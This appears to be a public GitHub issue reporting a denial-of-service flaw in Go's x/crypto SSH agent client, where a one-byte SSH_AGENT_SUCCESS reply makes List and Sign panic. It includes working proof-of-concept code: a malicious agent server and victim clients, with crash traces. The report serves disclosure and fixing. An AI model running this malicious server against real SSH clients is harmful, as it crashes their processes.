-
Notifications
You must be signed in to change notification settings - Fork 18.4k
Description
Go version
go1.25.0
Output of go env in your module/workspace:
GOVERSION='go1.25.0'What did you do?
Note: This was reported on [email protected] and a PUBLIC track was assigned.
This is confirmed to happen in golang.org/x/crypto <= v0.41.0
Summary
The agent client crashes if a peer replies SSH_AGENT_SUCCESS (byte 6, the protocol’s generic success reply) to requests that expect typed responses. The unmarshal layer converts 0x06 into a *successAgentMsg, but the client methods only handle the specific success types (e.g., *identitiesAnswerAgentMsg, *signResponseAgentMsg) or *failureAgentMsg. Any other type falls through to panic("unreachable").
A malicious or buggy agent can therefore terminate the client process with a single, well-formed one-byte reply.
PoC 1 — Crash List() (and therefore Signers())
Server (replies SUCCESS to any request):
package main
import (
"encoding/binary"
"fmt"
"net"
)
func main() {
ln, err := net.Listen("tcp", "127.0.0.1:9999")
if err != nil { panic(err) }
fmt.Println("agent listening on 127.0.0.1:9999")
for {
c, err := ln.Accept()
if err != nil { panic(err) }
go handle(c)
}
}
func handle(c net.Conn) {
defer c.Close()
var hdr [4]byte
if _, err := c.Read(hdr[:]); err != nil { return }
n := binary.BigEndian.Uint32(hdr[:])
if n == 0 || n > 1<<24 { return }
buf := make([]byte, n)
if _, err := c.Read(buf); err != nil { return }
resp := []byte{6} // SSH_AGENT_SUCCESS
var out [4]byte
binary.BigEndian.PutUint32(out[:], uint32(len(resp)))
c.Write(out[:])
c.Write(resp)
}
Victim client (List):
package main
import (
"fmt"
"net"
"golang.org/x/crypto/ssh/agent"
)
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:9999")
if err != nil { panic(err) }
ag := agent.NewClient(conn)
fmt.Println("calling List() — expect panic in agent/client.go")
_, _ = ag.List() // panics: "unreachable"
}
This results in:
panic: unreachable
goroutine 1 [running]:
golang.org/x/crypto/ssh/agent.(*client).List(0x1005a6008
/Users/jakubciolek/go/pkg/mod/golang.org/x/[email protected]/ssh/agent/client.go:434 +0x184
main.main()
Victim client: Sign (reuse the same server)
package main
import (
"crypto/ed25519"
"crypto/rand"
"net"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/agent"
)
func main() {
conn, err := net.Dial("tcp", "127.0.0.1:9999")
if err != nil { panic(err) }
ag := agent.NewClient(conn)
_, pub, _ := ed25519.GenerateKey(rand.Reader)
sshPub, _ := ssh.NewPublicKey(pub)
_, _ = ag.Sign(sshPub, []byte("hello")) // panics: "unreachable"
}
This results in:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x18 pc=0x1050b0ef8]goroutine 1 [running]:
[golang.org/x/crypto/ssh/agent.(*client).SignWithFlags(0x1400000c390](http://golang.org/x/crypto/ssh/agent.(*client).SignWithFlags(0x1400000c390), {0x0?, 0x0?}, {0x1400000e2f0, 0x5, 0x5}, 0x0)
/Users/jakubciolek/go/pkg/mod/golang.org/x/[email protected]/ssh/agent/client.go:445 +0x38
golang.org/x/crypto/ssh/agent.(*client).Sign(..
/Users/jakubciolek/go/pkg/mod/golang.org/x/[email protected]/ssh/agent/client.go:440
main.main()
What did you see happen?
Panics on client interaction with prepared server.
What did you expect to see?
Client survives those interactions.